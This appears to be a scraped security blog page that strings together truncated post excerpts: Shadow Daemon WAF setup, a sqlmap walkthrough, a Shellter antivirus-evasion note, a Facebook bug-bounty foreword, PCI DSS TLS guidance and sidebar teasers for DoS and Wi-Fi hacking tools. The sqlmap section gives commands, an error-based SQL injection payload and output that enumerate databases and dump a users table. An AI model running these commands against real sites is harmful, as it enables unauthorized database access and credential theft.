Kali tools catalog - Information Gathering
Kali is an awesome distribution for pentesting. But with so many choices, one may find it daunting to find a specific tool for a task witho...
DNS Analysis
Web Application Firewall Server: Shadow Daemon
Web Application Firewall Server: Shadow Daemon is a collection of tools to detect , record and prevent attacks on web applicatio...
Web Application Firewall Server
High coverage
- PHP
- Perl
- CGI
- Mojolicious
- Mojolicious::Lite
- Python
- CGI
- Django
- Werkzeug
- Flask

Accurate detection
- SQL injections
- XML injections
- Code injections
- Command injections
- Cross-site scripting
- Local/remote file inclusions
- Backdoor access
- And more …
Discreet protection
Secure architecture
Who should use Shadow Daemon?
- Shadow Daemon is for people who want to run their own dynamic website without constantly having to worry about attacks and vulnerabilities.
- Shadow Daemon is for people who want to know if and how their website is attacked.
- Shadow Daemon is for people who do not want to blindly place their trust in closed-source software that does its work in secret and costs a fortune.
Installation
Preparation
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX:PATH=/usr -DCMAKE_BUILD_TYPE=Release ..
Compilation
make shadowd
make install
Database
psql to import the layout.psql -Ushadowd shadowd < /usr/share/shadowd/pgsql_layout.sql
mysql to import the layout. The user requires the CREATE ROUTINEprivilege.mysql -ushadowd -p shadowd < /usr/share/shadowd/mysql_layout.sql
Configuration
Source && Download
Sqlmap Usage
Sqlmap is one of the most popular and powerful sql injection automation tool out there. Given a vulnerable http request url, sqlmap can...
https://github.com/sqlmapproject/sqlmap/wiki/Usage
Vulnerable Urls
http://www.site.com/section.php?id=51
http://www.site.com/section.php?id=51'
Hacking with sqlmap
python sqlmap.py -u "http://www.site.com/section.php?id=51"
[*] starting at 12:10:33
[12:10:33] [INFO] resuming back-end DBMS 'mysql'
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
Discover Databases
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
[*] starting at 12:12:56
[12:12:56] [INFO] resuming back-end DBMS 'mysql'
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
Find tables in a particular database
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
[11:55:18] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [11:55:18] [INFO] fetching tables for database: 'safecosmetics' [11:55:19] [INFO] heuristics detected web page charset 'ascii' [11:55:19] [INFO] the SQL query used returns 216 entries [11:55:20] [INFO] retrieved: acl_acl [11:55:21] [INFO] retrieved: acl_acl_sections ........... more tables
Get columns of a table
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
[12:17:39] [INFO] the back-end DBMS is MySQL web server operating system: FreeBSD web application technology: Apache 2.2.22 back-end DBMS: MySQL 5 [12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics' [12:17:41] [INFO] heuristics detected web page charset 'ascii' [12:17:41] [INFO] the SQL query used returns 8 entries [12:17:42] [INFO] retrieved: id [12:17:43] [INFO] retrieved: int(11) [12:17:45] [INFO] retrieved: name [12:17:46] [INFO] retrieved: text [12:17:47] [INFO] retrieved: password [12:17:48] [INFO] retrieved: text ....... [12:17:59] [INFO] retrieved: hash [12:18:01] [INFO] retrieved: varchar(128) Database: safecosmetics Table: users [8 columns] +-------------------+--------------+ | Column | Type | +-------------------+--------------+ | email | text | | hash | varchar(128) | | id | int(11) | | name | text | | password | text | | permission | tinyint(4) | | system_allow_only | text | | system_home | text | +-------------------+--------------+
Get data from a table
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
The output might look similar to this
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | id | hash | name | email | password | permission | system_home | system_allow_only | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+ | 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> | +----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
What Next ?
Execute arbitrary sql queries
Get inside the admin panel and play
Shell on remote OS
Note
http://www.site.com/class_name/method/43*/80
Shellter Project – bypassing Antivirus Detection
Shellter is found at the website www.shellterproject.com and is a shellcode injector. I have been using the tool to demonstrate to custom...
apt-get update
apt-get install shellter
How I Hacked Facebook, and Found Someone's Backdoor Script
Foreword As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much ...
![]()
Foreword
As a pentester, I love
server-side vulnerabilities more than client-side ones. Why? Because it’s way
much cooler to take over the server directly and gain system SHELL
privileges. <( ̄︶ ̄)>Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first. With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot. |
Router Exploitation Framework: RouterSploit
RouterSploit consists of various modules that aids penetration testing operations:
How to use Google like a pro using Google Dorking
In the last article, we had reported how Iranian hackers were able to glean information from Google about the dams in US cities in orde...
The Untimely Release of PCI DSS v.3.1
The Payment Card Industry Data Security Standard (PCI DSS) is conventionally released every three years. In Nov 2013, PCI DSS v.3....
The Payment Card Industry Data Security Standard (PCI DSS) is conventionally released every three years. In Nov 2013, PCI DSS v.3.0 of PCI DSS was released with the next revision expected to be released in 2016. However, in April 2015, PCI Security Standards Council released an untimely version PCI DSS v.3.1. The reason behind this was to overcome threats imposed by early Transport Layer Security (TLS) and Secure Sockets Layer (SSL) protocols. Though SSL was succeed in 1999 by TLS, it was still being used until 2014 till the discovery of browser attack POODLE. Furthermore, discovery of other unfixable vulnerabilities like FREAK and WinShock resulted in PCI SSC disapproving their use and release the update ahead of time.
- 2.3 – (Requires encryption for services and protocols such as VPNs, FTP, Telnet, file share, etc.)
- 3 – (Requires encryption for non-console administrative access)
- 1 – (Requires encryption and implementation of security protocols to protect cardholder data during transmission over open, public networks.)
How to Know if your Organization is using SSL/TLS?
What Needs to be Done?
- Disable SSL 3.0 in your software to reconfigure. Take instructions from vendor or from online forums.
- Buy latest software version from vendor to upgrade and configure for latest TLS version.
- Encrypt data with strong application or field level cryptography before transmitting data over early TLS or SSL.
What Can E-Commerce Websites Do to Eliminate SSL / Early TLS?
What Can Small Merchants Do to Eliminate SSL / Early TLS?
Migrating Safely from SSL/Early TLS
- Identify data flows and system components that support vulnerable protocols.
- Identify the business or technical need to use the vulnerable protocol for each data flow or system component.
- Remove all such occurrences of vulnerable protocols which are not supported by a business or a technical need.
- Identify which technologies can replace the protocols and also develop complete documentation of secure configurations that are planned for implementation.
- Document the migration plan that outlines steps and timeframes of each update.
- Deploy controls of risk reduction to counter the effect of known vulnerabilities till all vulnerable protocols are permanently removed.
- Follow the change control procedures to make sure that all updates are authorized.
- Upgrade system configuration standards after migration process is complete.
Bohatei – Free DDoS defense tool
Bohatei, a free DDoS defense tool that works using SDN and NFV. This tool defense 500Gbps DDoS attack and successfully handle any dynamic...
Features and File information:
- An implementation of the FlowTags framework for the OpenDaylight controller
- An implementation of the resource management algorithms
- A topology file that was used to simulate an ISP topology
- Scripts that facilitate functions such as spawning, tearing down and retrieving the topology.
- Scripts that automate and coordinate the components required for the usecases examined.
About
Network security blog.
Follow Us
Popular Posts
-
context: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation writeup: https://www.trustedsec.com/blog/equation-group-...
-
Learn how to hack Wi-Fi password of modern routers Wifi password hacking has become popular as people are always in search of the free i...
-
Eternalromance is another SMBv1 exploit from the leaked NSA exploit collection and targets Windows XP/Vista/7 and Windows Server 2003 and 2...
-
A week or so ago, I read the news of a new backdoor on several devices, including those made by Belkin , Cisco , NetGear , Linksys , an...
-
After a very successfull release of Sql Poizon v1.0, The Exploit Scanner Tool, I am hereby introducing you with the new release which is m...
-
BruteSploit is a collection of method for automated Generate, Bruteforce and Manipulation wordlist with interactive shell. That can be use...
-
Hi guys, today i am goint to tell you a perfect program which makes Effective DoS Attacks Easly :D Name of the Program is DoS-Pro v 2.0 R...
-
Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to...
-
Using Meterpreter Commands Since the Meterpreter provides a whole new environment, we will cover some of the basic Meterpreter comman...
Labels
Total Pageviews
Popular Posts
-
This article aims to introduce the framework that has been disclosed through an article posted by ShadowBrokers , focusing on two...
-
A web application firewall (WAF) is an appliance, server plugin, or a software filter that applies a set of rules to an HTTP conversatio...
-
Elite Proxy Switcher The Best Tool That I Ever Find on The Internet For Finding And Checking Huge Proxy Lists You Can Find Elite and A...
-
context: https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation writeup: https://www.trustedsec.com/blog/equation-group-...
-
Hi guys, today i am goint to tell you a perfect program which makes Effective DoS Attacks Easly :D Name of the Program is DoS-Pro v 2.0 R...
-
It is time to make some attacks which like ddos but from only one PC :D DecFlooder-v1.00 Hack Tools easy to use as you see from the p...
-
Below are the inside details of Florida voting systems. If the United States government can't even keep their ballot systems secure, why...








